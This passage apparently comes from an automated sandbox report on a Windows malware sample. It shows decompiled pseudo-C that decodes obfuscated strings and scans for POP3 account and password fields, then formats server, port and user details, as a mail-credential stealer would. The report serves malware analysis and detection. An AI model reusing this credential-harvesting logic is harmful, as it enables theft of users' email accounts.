                				_v300 = 0;
                				E004206CD( &_v299, 0, 0x7f);
                				_v31 = 0;
                				_v27 = 0;
                				_v25 = 0;
                				_v16 = 0;
                				_v15 = 0;
                				_v11 = 0;
                				_v9 = 0;
                				_t79 = _a12;
                				_t157 = _t156 + 0x18;
                				_v40 = 0x6172647e;
                				_v36 = 0x7e6e6f47;
                				_v32 = 0;
                				_v24 = 0x3740467e;
                				_t18 = _t79 - 1; // -1
                				asm("sbb ebx, ebx");
                				_t117 = ( ~(_t18 & 0x000000ff) & 0x00000017) + 0x5a;
                				_v20 = 0x7e246d25;
                				if(_a12 != 1) {
                					_t22 =  &_v24; // 0x3740467e
                					_a12 = _t22;
                				} else {
                					_t20 =  &_v40; // 0x6172647e
                					_a12 = _t20;
                				}
                				_t151 = 0;
                				_t80 = E0042091D(_a8);
                				_t158 = _t157 + 4;
                				if(_t80 == 0) {
                					L36:
                					return _t80;
                				} else {
                					while(_t148 == 0) {
                						_t112 = _a8;
                						if( *((char*)(_t151 + _t112)) == 0x20) {
                							_t28 = _t112 + 1; // 0x1
                							_t135 = _t151 + _t28;
                							_v8 = _t135;
                							_t148 = _t135;
                						}
                						_t151 = _t151 + 1;
                						_t80 = E0042091D(_t112);
                						_t158 = _t158 + 4;
                						if(_t151 < _t80) {
                							continue;
                						} else {
                							if(_t148 == 0) {
                								goto L36;
                							} else {
                								break;
                							}
                						}
                						goto L37;
                					}
                					if( *_t148 == 0) {
                						goto L36;
                					} else {
                						_t152 = 0;
                						_t81 = E0042091D(_t148);
                						_t159 = _t158 + 4;
                						if(_t81 != 0) {
                							_t146 =  &_v172;
                							while(1) {
                								_t107 =  *((intOrPtr*)(_t152 + _t148));
                								if(_t107 < 0x30 || _t107 > 0x46) {
                									goto L22;
                								}
                								_t108 = _t107 & 0x000000ff;
                								if(_t107 >= 0x40) {
                									_t109 = _t108 - 0x37;
                								} else {
                									_t109 = _t108 - 0x30;
                								}
                								_t132 =  *((intOrPtr*)(_t152 + _t148 + 1));
                								_t110 = _t109 << 4;
                								if(_t132 >= 0x40) {
                									_t133 = _t132 - 0x37;
                								} else {
                									_t133 = _t132 - 0x30;
                								}
                								 *_t146 = _t133 + _t110;
                								_t152 = _t152 + 2;
                								_v44 = _t146 + 1;
                								_t111 = E0042091D(_t148);
                								_t159 = _t159 + 4;
                								if(_t152 < _t111) {
                									_t146 = _v44;
                									continue;
                								}
                								goto L22;
                							}
                						}
                						L22:
                						_t149 = E0042091D( &_v172);
                						_t160 = _t159 + 4;
                						if(_t149 != 0) {
                							E004206CD( &_v811, 0, 0x7f);
                							_v812 = _t117 ^ _v172;
                							E0042064D( &_v811,  &_v171, E0042091D( &_v172));
                							_t88 = E0042091D( &_v300);
                							_t161 = _t160 + 0x20;
                							if(_t149 <= _t88) {
                								L27:
                								_v684 = 0;
                								E004206CD( &_v683, 0, 0x7f);
                								_v556 = 0;
                								E004206CD( &_v555, 0, 0x7f);
                								_v428 = 0;
                								E004206CD( &_v427, 0, 0x7f);
                								_t162 = _t161 + 0x24;
                								if(_t149 <= 1) {
                									L30:
                									_t153 = 0;
                									_t150 = _t149 - 1;
                									if(_t150 == 0) {
                										L35:
                										return E0042064D(_v8,  &_v428, E0042091D( &_v428) + 2);
                									}
                									do {
                										_t97 =  *((intOrPtr*)(_t155 + _t153 - 0x2a8));
                										_t128 =  *((intOrPtr*)(_t155 + _t153 - 0x328));
                										_t98 = _t97 - _t128;
                										if((_t97 & 0x000000ff) - (_t128 & 0x000000ff) < 0) {
                											_t98 = _t98 - 1;
                										}
                										 *((char*)(_t155 + _t153 - 0x228)) = _t98;
                										_t100 = E0042091D( &_v428);
                										_t129 =  *((intOrPtr*)(_t155 + _t153 - 0x228));
                										_t153 = _t153 + 1;
                										_t162 = _t162 + 4;
                										 *((char*)(_t155 + _t100 - 0x1a8)) = _t129;
                									} while (_t153 < _t150);
                									goto L35;
                								}
                								_t101 = 0;
                								_t54 = _t149 - 1; // -1
                								_t130 = _t54;
                								do {
                									_t144 =  *(_t155 + _t101 - 0x128) ^  *(_t155 + _t101 - 0xa7);
                									_t101 = _t101 + 1;
                									_t130 = _t130 - 1;
                									 *(_t155 + _t101 - 0x2a9) = _t144;
                								} while (_t130 != 0);
                								goto L30;
                							}
                							do {
                								_t45 =  &_a12; // 0x7e246d25
                								E00420A4D( &_v300,  *_t45, 0);
                								_t104 = E0042091D( &_v300);
                								_t161 = _t161 + 0x10;
                							} while (_t149 > _t104);
                							goto L27;
                						}
                						return E004206CD(_v8, _t149, E0042091D(_v8));
                					}
                				}
                				L37:
                			}


































































                0x00415589
                0x00415595
                0x00415598
                0x0041559f
                0x004155ae
                0x004155b5
                0x004155bc
                0x004155bf
                0x004155c3
                0x004155c6
                0x004155c9
                0x004155cc
                0x004155d0
                0x004155d3
                0x004155d6
                0x004155db
                0x004155e2
                0x004155e9
                0x004155ed
                0x004155f4
                0x004155fc
                0x00415601
                0x00415604
                0x0041560d
                0x00415617
                0x0041561a
                0x0041560f
                0x0041560f
                0x00415612
                0x00415612
                0x00415621
                0x00415623
                0x00415628
                0x0041562d
                0x0041585b
                0x0041585b
                0x00415633
                0x00415633
                0x00415637
                0x0041563e
                0x00415640
                0x00415640
                0x00415644
                0x00415647
                0x00415647
                0x0041564a
                0x0041564b
                0x00415650
                0x00415655
                0x00000000
                0x00415657
                0x00415659
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00415659
                0x00000000
                0x00415655
                0x00415662
                0x00000000
                0x00415668
                0x00415669
                0x0041566b
                0x00415670
                0x00415675
                0x00415677
                0x00415682
                0x00415682
                0x00415687
                0x00000000
                0x00000000
                0x0041568f
                0x00415692
                0x00415699
                0x00415694
                0x00415694
                0x00415694
                0x0041569c
                0x004156a0
                0x004156a6
                0x004156ad
                0x004156a8
                0x004156a8
                0x004156a8
                0x004156b2
                0x004156b6
                0x004156b9
                0x004156bc
                0x004156c1
                0x004156c6
                0x0041567f
                0x00000000
                0x0041567f
                0x00000000
                0x004156c6
                0x00415682
                0x004156c8
                0x004156d4
                0x004156d6
                0x004156db
                0x00415703
                0x00415715
                0x0041572f
                0x0041573b
                0x00415740
                0x00415745
                0x00415772
                0x0041577d
                0x00415784
                0x00415794
                0x0041579b
                0x004157ab
                0x004157b2
                0x004157b7
                0x004157bd
                0x004157e6
                0x004157e6
                0x004157e8
                0x004157e9
                0x00415832
                0x00000000
                0x00415852
                0x004157ed
                0x004157ed
                0x004157f4
                0x00415801
                0x00415805
                0x00415807
                0x00415807
                0x00415809
                0x00415817
                0x0041581c
                0x00415823
                0x00415824
                0x00415827
                0x0041582e
                0x00000000
                0x004157ed
                0x004157bf
                0x004157c1
                0x004157c1
                0x004157cd
                0x004157d4
                0x004157db
                0x004157dc
                0x004157dd
                0x004157dd
                0x00000000
                0x004157cd
                0x0041574d
                0x0041574d
                0x0041575a
                0x00415766
                0x0041576b
                0x0041576e
                0x00000000
                0x0041574d
                0x004156f7
                0x004156f7
                0x00415662
                0x00000000

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: %m$~$%m$~$~F@7%m$~$~draGon~
                • API String ID: 0-2027109948
                • Opcode ID: 6aa84a841b43085ca6cc113e7e7cf3ea2caee1a5f090a8a9d8d0728a6da30977
                • Instruction ID: b12d63a495ed777731eaa14e9d589f45c53cec6ac843c40beb8cb4deaeef3069
                • Opcode Fuzzy Hash: 6aa84a841b43085ca6cc113e7e7cf3ea2caee1a5f090a8a9d8d0728a6da30977
                • Instruction Fuzzy Hash: A0813E71E05258DEDB21DB689C45BEFB7F85F95300F9400DAE48C53243EA385B84CBAA
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 93%
                			E0041594D(intOrPtr _a4, intOrPtr _a8) {
                				char _v8;
                				char _v12;
                				char _v16;
                				char _v17;
                				short _v19;
                				char _v23;
                				char _v27;
                				char _v31;
                				char _v35;
                				char _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				char _v48;
                				char _v52;
                				char _v56;
                				char _v60;
                				char _v64;
                				char _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				char _v80;
                				char _v81;
                				short _v83;
                				char _v87;
                				char _v91;
                				char _v95;
                				char _v99;
                				char _v103;
                				char _v104;
                				intOrPtr _v108;
                				char _v112;
                				char _v116;
                				char _v120;
                				char _v124;
                				char _v128;
                				char _v132;
                				char _v136;
                				intOrPtr _v140;
                				char _v144;
                				char _v403;
                				char _v404;
                				char _v663;
                				char _v664;
                				char _t81;
                				intOrPtr _t85;
                				void* _t89;
                				char _t90;
                				char _t91;
                				void* _t93;
                				void* _t94;
                				char _t96;
                				void* _t98;
                				char _t99;
                				void* _t107;
                				char _t108;
                				char* _t111;
                				char _t113;
                				void* _t128;
                				char* _t129;
                				void* _t131;
                				void* _t132;
                				void* _t133;
                				void* _t135;
                
                				_v12 = 0;
                				_v8 = 2;
                				_v664 = 0;
                				E004206CD( &_v663, 0, 0x103);
                				_v404 = 0;
                				E004206CD( &_v403, 0, 0x103);
                				_t110 = _a8;
                				_t127 = _a4;
                				_v144 = 0x6f636341;
                				_v140 = 0x746e75;
                				_v136 = 0;
                				_v132 = 0;
                				_v128 = 0;
                				_v124 = 0;
                				_v120 = 0;
                				_v116 = 0;
                				_v112 = 0x73736150;
                				_v108 = 0x64726f77;
                				_v104 = 0;
                				_v103 = 0;
                				_v99 = 0;
                				_v95 = 0;
                				_v91 = 0;
                				_v87 = 0;
                				_v83 = 0;
                				_v81 = 0;
                				_v80 = 0x33504f50;
                				_v76 = 0x6f636341;
                				_v72 = 0x746e75;
                				_v68 = 0;
                				_v64 = 0;
                				_v60 = 0;
                				_v56 = 0;
                				_v52 = 0;
                				_v48 = 0x33504f50;
                				_v44 = 0x73736150;
                				_v40 = 0x64726f77;
                				_v36 = 0;
                				_v35 = 0;
                				_v31 = 0;
                				_v27 = 0;
                				_v23 = 0;
                				_v19 = 0;
                				_v17 = 0;
                				_t129 = E00419FFD(_a4, _a8, 1, 0);
                				_t81 = E00419FFD(_t127, _t110, 0x15, 0);
                				_t132 = _t131 + 0x38;
                				_v16 = _t81;
                				if(_t129 == 0 || _t81 == 0) {
                					return _t81;
                				} else {
                					_t111 = E004207FD(_t127, _t81);
                					_t133 = _t132 + 8;
                					if(_t111 != 0) {
                						__eflags =  *_t129 - 0xd0;
                						if( *_t129 == 0xd0) {
                							_v8 = 1;
                						}
                						_t113 = _v16;
                						_t128 = 0;
                						__eflags = _t113;
                						if(_t113 == 0) {
                							L24:
                							_t130 = _a4;
                							E0042062D(_a4, _t129);
                							return E0042062D(_t130, _t111);
                						} else {
                							do {
                								_t85 =  *((intOrPtr*)(_t128 + _t129));
                								__eflags = _t85 - 0x20;
                								if(_t85 <= 0x20) {
                									L20:
                									__eflags =  *_t111;
                									if( *_t111 == 0) {
                										goto L23;
                									}
                									_push(_t113);
                									L22:
                									_push(_t111);
                									E0042067D();
                									_t133 = _t133 + 8;
                									goto L23;
                								}
                								__eflags = _t85 - 0x7f;
                								if(_t85 >= 0x7f) {
                									goto L20;
                								}
                								__eflags = _t85 - 0x3d;
                								if(_t85 == 0x3d) {
                									goto L20;
                								}
                								 *((char*)(E0042091D(_t111) + _t111)) =  *((intOrPtr*)(_t128 + _t129));
                								_t51 =  &_v144; // 0x6f636341
                								_t89 = E0042091D(_t51);
                								_t52 =  &_v144; // 0x6f636341
                								_t90 = E0042095D(_t111, _t52, _t89);
                								_t135 = _t133 + 0x14;
                								__eflags = _t90;
                								if(_t90 != 0) {
                									L17:
                									_t91 = E00420F7D( *(_t128 + _t129 + 1) & 0x000000ff);
                									_t133 = _t135 + 4;
                									__eflags = _t91;
                									if(__eflags == 0) {
                										_t93 = E004154DD(__eflags, _t129,  &_v664, _t128, _v8, _t111);
                										_t133 = _t133 + 0x14;
                										_t128 = _t93;
                										_v12 = 1;
                										goto L23;
                									}
                									_push(0x40);
                									goto L22;
                								}
                								_t53 =  &_v80; // 0x33504f50
                								_t94 = E0042091D(_t53);
                								_t54 =  &_v80; // 0x33504f50
                								_t96 = E0042095D(_t111, _t54, _t94);
                								_t135 = _t135 + 0x10;
                								__eflags = _t96;
                								if(_t96 != 0) {
                									goto L17;
                								}
                								__eflags = _v12 - _t96;
                								if(_v12 == _t96) {
                									L15:
                									_t58 =  &_v48; // 0x33504f50
                									_t98 = E0042091D(_t58);
                									_t59 =  &_v48; // 0x33504f50
                									_t99 = E0042095D(_t111, _t59, _t98);
                									_t133 = _t135 + 0x10;
                									__eflags = _t99;
                									if(__eflags == 0) {
                										goto L23;
                									}
                									L16:
                									_t128 = E004154DD(__eflags, _t129,  &_v404, _t128, _v8, _t111);
                									E0041585D(__eflags, _a4,  &_v664,  &_v404, _v8);
                									_v12 = 0;
                									E0042067D( &_v664, 0x104);
                									E0042067D( &_v404, 0x104);
                									_t133 = _t133 + 0x34;
                									goto L23;
                								}
                								_t56 =  &_v112; // 0x73736150
                								_t107 = E0042091D(_t56);
                								_t57 =  &_v112; // 0x73736150
                								_t108 = E0042095D(_t111, _t57, _t107);
                								_t133 = _t135 + 0x10;
                								__eflags = _t108;
                								if(__eflags != 0) {
                									goto L16;
                								}
                								goto L15;
                								L23:
                								_t113 = _v16;
                								_t128 = _t128 + 1;
                								__eflags = _t128 - _t113;
                							} while (_t128 < _t113);
                							goto L24;
                						}
                					}
                					return E0042062D(_t127, _t129);
                				}
                			}


































































                0x00415967
                0x0041596e
                0x00415972
                0x00415979
                0x0041598c
                0x00415993
                0x00415998
                0x0041599d
                0x004159a5
                0x004159af
                0x004159b9
                0x004159bf
                0x004159c2
                0x004159c5
                0x004159c8
                0x004159cb
                0x004159ce
                0x004159d5
                0x004159dc
                0x004159df
                0x004159e2
                0x004159e5
                0x004159e8
                0x004159eb
                0x004159ee
                0x004159f2
                0x004159f5
                0x004159fc
                0x00415a03
                0x00415a0a
                0x00415a0d
                0x00415a10
                0x00415a13
                0x00415a16
                0x00415a19
                0x00415a20
                0x00415a27
                0x00415a2e
                0x00415a31
                0x00415a34
                0x00415a37
                0x00415a3a
                0x00415a3d
                0x00415a41
                0x00415a4f
                0x00415a51
                0x00415a56
                0x00415a59
                0x00415a5e
                0x00415c21
                0x00415a6c
                0x00415a73
                0x00415a75
                0x00415a7a
                0x00415a8d
                0x00415a90
                0x00415a92
                0x00415a92
                0x00415a96
                0x00415a99
                0x00415a9b
                0x00415a9d
                0x00415c07
                0x00415c08
                0x00415c0c
                0x00000000
                0x00415aa3
                0x00415aad
                0x00415aad
                0x00415ab0
                0x00415ab2
                0x00415bec
                0x00415bec
                0x00415bef
                0x00000000
                0x00000000
                0x00415bf1
                0x00415bf2
                0x00415bf2
                0x00415bf3
                0x00415bf8
                0x00000000
                0x00415bf8
                0x00415ab8
                0x00415aba
                0x00000000
                0x00000000
                0x00415ac0
                0x00415ac2
                0x00000000
                0x00000000
                0x00415ad1
                0x00415ad4
                0x00415adb
                0x00415ae1
                0x00415ae9
                0x00415aee
                0x00415af1
                0x00415af3
                0x00415bb5
                0x00415bbb
                0x00415bc0
                0x00415bc3
                0x00415bc5
                0x00415bd9
                0x00415bde
                0x00415be1
                0x00415be3
                0x00000000
                0x00415be3
                0x00415bc7
                0x00000000
                0x00415bc7
                0x00415af9
                0x00415afd
                0x00415b03
                0x00415b08
                0x00415b0d
                0x00415b10
                0x00415b12
                0x00000000
                0x00000000
                0x00415b18
                0x00415b1b
                0x00415b38
                0x00415b38
                0x00415b3c
                0x00415b42
                0x00415b47
                0x00415b4c
                0x00415b4f
                0x00415b51
                0x00000000
                0x00000000
                0x00415b57
                0x00415b77
                0x00415b82
                0x00415b93
                0x00415b9a
                0x00415bab
                0x00415bb0
                0x00000000
                0x00415bb0
                0x00415b1d
                0x00415b21
                0x00415b27
                0x00415b2c
                0x00415b31
                0x00415b34
                0x00415b36
                0x00000000
                0x00000000
                0x00000000
                0x00415bfb
                0x00415bfb
                0x00415bfe
                0x00415bff
                0x00415bff
                0x00000000
                0x00415aad
                0x00415a9d
                0x00415a8c
                0x00415a8c

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Account$POP3Account$POP3Password$Password
                • API String ID: 0-3724906831
                • Opcode ID: c92810ca4ac033f8e0b182f67617f4a7f1149d0b8534bfaf997ce4a4ae900568
                • Instruction ID: 59d70e8b83f4a4498943a54ece7c75dab4c50dd1ac61647200243dfc886d8b0c
                • Opcode Fuzzy Hash: c92810ca4ac033f8e0b182f67617f4a7f1149d0b8534bfaf997ce4a4ae900568
                • Instruction Fuzzy Hash: BF8187F1D05258EEDB10DFA9DC81FEEBBF8AF45304F40419BE508A7242E6745A81CB65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 89%
                			E0041CC8D(char _a4, char _a6) {
                				intOrPtr _v8;
                				char _v12;
                				char _v14;
                				short _v16;
                				char _v20;
                				char _v24;
                				intOrPtr _v28;
                				char _v32;
                				char _v33;
                				short _v35;
                				char _v39;
                				char _v40;
                				signed short _v44;
                				char _v2091;
                				char _v2092;
                				void* __ebx;
                				void* _t82;
                				void* _t83;
                				intOrPtr _t166;
                				char _t167;
                				void* _t170;
                				void* _t171;
                				void* _t172;
                				void* _t173;
                				void* _t174;
                				void* _t175;
                				void* _t179;
                
                				_t167 = _a4;
                				_v39 = 0;
                				_v35 = 0;
                				_v33 = 0;
                				_v40 = 0;
                				_v44 =  *(_t167 + 0x1c) & 0x0000ffff;
                				_a4 = 0xa0d;
                				_a6 = 0;
                				_v20 = 0x74726f50;
                				_v16 = 0x93a;
                				_v14 = 0;
                				_v12 = 0x72657355;
                				_v8 = 0x93a20;
                				_v32 = 0x76726553;
                				_v28 = 0x93a7265;
                				_v24 = 0;
                				_v2092 = 0;
                				_t82 = E004206CD( &_v2091, 0, 0x7ff);
                				_t166 =  *((intOrPtr*)(_t167 + 0x18));
                				_t172 = _t171 + 0xc;
                				if(_t166 != 0 &&  *((intOrPtr*)(_t167 + 0x20)) != 0) {
                					_t22 =  &_v32; // 0x76726553
                					_t83 = E0042091D(_t22);
                					_t23 =  &_v32; // 0x76726553
                					E0042064D( &_v2092, _t23, _t83);
                					E0042087D(0,  *((intOrPtr*)(_t167 + 4)) + 0x1c, _v44 & 0x0000ffff, 0, 8,  &_v40);
                					_t173 = _t172 + 0x24;
                					if( *((intOrPtr*)(_t166 + 1)) != 0) {
                						E00420A4D( &_v2092,  *((intOrPtr*)(_t167 + 0x18)), 0);
                						_t59 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t59, 0);
                						_t61 =  &_v20; // 0x74726f50
                						E00420A4D( &_v2092, _t61, 0);
                						E00420A4D( &_v2092,  &_v40, 0);
                						_t65 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t65, 0);
                						_t67 =  &_v12; // 0x72657355
                						E00420A4D( &_v2092, _t67, 0);
                						_t98 =  *((intOrPtr*)(_t167 + 0x20));
                						_t174 = _t173 + 0x48;
                						if( *((intOrPtr*)(_t167 + 0x20)) != 0) {
                							E00420A4D( &_v2092, _t98, 0);
                							_t174 = _t174 + 0xc;
                						}
                						_t71 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t71, 0);
                						_t73 =  &_v12; // 0x72657355
                						E00420A4D( &_v2092, _t73, 0);
                						_t168 =  *((intOrPtr*)(_t167 + 0x24));
                						_t175 = _t174 + 0x18;
                						if( *((intOrPtr*)(_t167 + 0x24)) != 0) {
                							E00420A4D( &_v2092, _t168, 0);
                							_t175 = _t175 + 0xc;
                						}
                						_push(0);
                						_t77 =  &_a4; // 0x72657355
                						_push( &_v2092);
                					} else {
                						E00420CED(_t170 + E0042091D( &_v2092) - 0x828,  *((intOrPtr*)(_t167 + 0x18)));
                						_t33 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t33, 0);
                						_t35 =  &_v20; // 0x74726f50
                						E00420A4D( &_v2092, _t35, 0);
                						E00420A4D( &_v2092,  &_v40, 0);
                						_t39 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t39, 0);
                						_t41 =  &_v12; // 0x72657355
                						E00420A4D( &_v2092, _t41, 0);
                						_t119 =  *((intOrPtr*)(_t167 + 0x20));
                						_t179 = _t173 + 0x48;
                						if( *((intOrPtr*)(_t167 + 0x20)) != 0) {
                							E00420CED(_t170 + E0042091D( &_v2092) - 0x828, _t119);
                							_t179 = _t179 + 0xc;
                						}
                						_t47 =  &_a4; // 0x72657355
                						E00420A4D( &_v2092, _t47, 0);
                						_t49 =  &_v12; // 0x72657355
                						E00420A4D( &_v2092, _t49, 0);
                						_t169 =  *((intOrPtr*)(_t167 + 0x24));
                						_t175 = _t179 + 0x18;
                						if( *((intOrPtr*)(_t167 + 0x24)) != 0) {
                							E00420CED(_t170 + E0042091D( &_v2092) - 0x828, _t169);
                							_t175 = _t175 + 0xc;
                						}
                						_push(0);
                						_t55 =  &_a4; // 0x72657355
                						_push( &_v2092);
                					}
                					E00420A4D();
                					return E0042091D( &_v2092);
                				}
                				return _t82;
                			}






























                0x0041cc98
                0x0041cca0
                0x0041cca3
                0x0041cca7
                0x0041ccbb
                0x0041ccbe
                0x0041ccc1
                0x0041ccc7
                0x0041ccca
                0x0041ccd1
                0x0041ccd7
                0x0041ccda
                0x0041cce1
                0x0041cce8
                0x0041ccef
                0x0041ccf6
                0x0041ccf9
                0x0041ccff
                0x0041cd04
                0x0041cd07
                0x0041cd0c
                0x0041cd1b
                0x0041cd1f
                0x0041cd25
                0x0041cd30
                0x0041cd48
                0x0041cd4d
                0x0041cd53
                0x0041ce61
                0x0041ce67
                0x0041ce72
                0x0041ce78
                0x0041ce83
                0x0041ce94
                0x0041ce9a
                0x0041cea5
                0x0041ceab
                0x0041ceb6
                0x0041cebb
                0x0041cebe
                0x0041cec3
                0x0041cece
                0x0041ced3
                0x0041ced3
                0x0041ced7
                0x0041cee2
                0x0041cee8
                0x0041cef3
                0x0041cef8
                0x0041cefb
                0x0041cf00
                0x0041cf0b
                0x0041cf10
                0x0041cf10
                0x0041cf13
                0x0041cf14
                0x0041cf1e
                0x0041cd59
                0x0041cd74
                0x0041cd7a
                0x0041cd85
                0x0041cd8b
                0x0041cd96
                0x0041cda7
                0x0041cdad
                0x0041cdb8
                0x0041cdbe
                0x0041cdc9
                0x0041cdce
                0x0041cdd1
                0x0041cdd6
                0x0041cdf0
                0x0041cdf5
                0x0041cdf5
                0x0041cdf9
                0x0041ce04
                0x0041ce0a
                0x0041ce15
                0x0041ce1a
                0x0041ce1d
                0x0041ce22
                0x0041ce3c
                0x0041ce41
                0x0041ce41
                0x0041ce44
                0x0041ce45
                0x0041ce4f
                0x0041ce4f
                0x0041cf1f
                0x00000000
                0x0041cf33
                0x0041cf3c

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: :$Port:User :$Server:$User :
                • API String ID: 0-1282517814
                • Opcode ID: 97a1d5a85202d86794bb226e30f933b4155a7a06a8aca17317666616af495432
                • Instruction ID: e17d41bb8af1d0468ce1d6f6244bca0267dfca4d3222e41edd78def1c4373fd1
                • Opcode Fuzzy Hash: 97a1d5a85202d86794bb226e30f933b4155a7a06a8aca17317666616af495432
                • Instruction Fuzzy Hash: E18153B6901218EACF11DB95DC81DDF77FCAF18214F44859BF54A62102EA39A7888BE4
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E00418E8D(void* __eflags, intOrPtr _a4, unsigned int _a8) {
                				intOrPtr* _v8;
                				intOrPtr _v12;
                				short _v14;
                				signed int _v18;
                				signed int _v22;
                				signed int _v26;
                				signed int _v30;
                				short _v32;
                				char _v36;
                				signed int _v40;
                				signed int _v44;
                				signed int _v48;
                				signed int _v52;
                				signed int _v56;
                				char _v60;
                				short _v62;
                				signed int _v66;
                				signed int _v70;
                				signed int _v74;
                				short _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				char _v92;
                				char _v93;
                				short _v95;
                				signed int _v99;
                				signed int _v103;
                				signed int _v107;
                				signed int _v111;
                				signed int _v115;
                				signed int _v119;
                				signed int _v123;
                				char _v124;
                				void* __ebx;
                				void* _t84;
                				signed int _t85;
                				void* _t94;
                				void* _t99;
                				intOrPtr _t100;
                				signed int _t107;
                				intOrPtr _t114;
                				unsigned int _t121;
                				unsigned int _t123;
                				unsigned int _t124;
                				void* _t128;
                				void* _t129;
                				void* _t130;
                
                				_t100 = _a4;
                				_t121 = _a8;
                				_t118 =  *(_t121 + 0x10);
                				_v123 = 0;
                				_v119 = 0;
                				_v115 = 0;
                				_v111 = 0;
                				_v107 = 0;
                				_v103 = 0;
                				_v99 = 0;
                				_v95 = 0;
                				_v93 = 0;
                				_v56 = 0;
                				_v52 = 0;
                				_v48 = 0;
                				_v44 = 0;
                				_v40 = 0;
                				_v30 = 0;
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v74 = 0;
                				_v70 = 0;
                				_v66 = 0;
                				_v62 = 0;
                				_v32 = 0;
                				_v76 = 0;
                				_v12 = _t121 + 0x14;
                				_v8 =  *((intOrPtr*)(_t121 + 8)) + _t121;
                				_t35 = _t118 + 2; // 0x413330
                				_v124 = 0;
                				_v60 = 9;
                				_v36 = 0xa000d;
                				_v92 = 0x610050;
                				_v88 = 0x730073;
                				_v84 = 0x6f0077;
                				_v80 = 0x640072;
                				_a8 =  *((intOrPtr*)(_t121 + 0xc));
                				 *((intOrPtr*)(_t100 + 0xa08)) = _t35;
                				E0042064D( *((intOrPtr*)(_t100 + 0xa04)), _t121 + 0x14,  *(_t121 + 0x10));
                				E0042064D( *((intOrPtr*)(_t100 + 0xa04)) + ( *(_t121 + 0x10) >> 1) * 2,  &_v60, 4);
                				E004133BD(_t100, 6);
                				_t129 = _t128 + 0x20;
                				if( *((intOrPtr*)(_t121 + 4)) != 4) {
                					_t84 = E00420E1D(_v12,  &_v92, 0);
                					_t130 = _t129 + 0xc;
                					if(_t84 != 0) {
                						E00418BBD(_t100, _v8, _a8);
                						_t94 = E0042093D(_v8);
                						_t130 = _t130 + 0x10;
                						_a8 = _t94 + _t94;
                					}
                					_t85 = 0;
                					_t123 = _a8 >> 1;
                					if(_t123 == 0) {
                						_t120 = _v8;
                					} else {
                						do {
                							_t114 = _v8;
                							_t107 =  *(_t114 + _t85 * 2) & 0x0000ffff;
                							if(_t107 == 0 || (_t107 & 0x0000ff00) != 0) {
                								 *(_t114 + _t85 * 2) = 0x20;
                							}
                							_t85 = _t85 + 1;
                						} while (_t85 < _t123);
                						_t120 = _t114;
                					}
                					_t124 = _a8;
                				} else {
                					_t120 = _v8;
                					E0042087D(_t100, _t100 + 0x1c,  *_v8, 0, 0x20,  &_v124);
                					E00420D3D(_v8,  &_v124);
                					_t99 = E0042093D(_v8);
                					_t130 = _t129 + 0x20;
                					_t124 = _t99 + _t99;
                				}
                				E0042064D( *((intOrPtr*)(_t100 + 0xa04)), _t120, _t124);
                				E0042064D( *((intOrPtr*)(_t100 + 0xa04)) + (_t124 >> 1) * 2,  &_v36, 6);
                				 *((intOrPtr*)(_t100 + 0xa08)) = _t124 + 4;
                				E004133BD(_t100, 6);
                				return 1;
                			}



















































                0x00418e96
                0x00418e9a
                0x00418ea3
                0x00418ea6
                0x00418ea9
                0x00418eac
                0x00418eaf
                0x00418eb2
                0x00418eb5
                0x00418eb8
                0x00418ebb
                0x00418ebf
                0x00418ec2
                0x00418ec5
                0x00418ec8
                0x00418ecb
                0x00418ece
                0x00418ed1
                0x00418ed4
                0x00418ed7
                0x00418eda
                0x00418edd
                0x00418ee1
                0x00418ee4
                0x00418ee7
                0x00418eea
                0x00418ef1
                0x00418ef5
                0x00418f00
                0x00418f09
                0x00418f0c
                0x00418f10
                0x00418f14
                0x00418f1b
                0x00418f22
                0x00418f29
                0x00418f30
                0x00418f37
                0x00418f3e
                0x00418f41
                0x00418f47
                0x00418f5e
                0x00418f66
                0x00418f6b
                0x00418f72
                0x00418fae
                0x00418fb3
                0x00418fb8
                0x00418fc3
                0x00418fc9
                0x00418fce
                0x00418fd3
                0x00418fd3
                0x00418fd9
                0x00418fdb
                0x00418fdd
                0x00419005
                0x00418fdf
                0x00418fdf
                0x00418fdf
                0x00418fe2
                0x00418fe9
                0x00418ff8
                0x00418ff8
                0x00418ffc
                0x00418ffd
                0x00419001
                0x00419001
                0x00419008
                0x00418f74
                0x00418f74
                0x00418f86
                0x00418f90
                0x00418f96
                0x00418f9d
                0x00418fa0
                0x00418fa0
                0x00419014
                0x0041902d
                0x00419038
                0x0041903e
                0x00419051

                Strings
                Memory Dump Source
